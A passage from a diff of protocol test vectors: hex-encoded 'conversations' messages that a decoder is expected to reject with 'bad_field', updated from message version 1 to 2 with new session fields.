92d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-model-differs", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-key-missing", "direction": "down", - "hex": "574d58310101000001000000240600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000610600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-selection-key-missing", "direction": "down", - "hex": "574d58310101000001000000210600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000005e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-selection-extra-key", "direction": "down", - "hex": "574d58310101000001000000430600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c226578747261223a317d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000800600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c226578747261223a317d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-unsorted-keys", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2266616d696c79223a2266616d696c792d616c706861222c226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d7d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f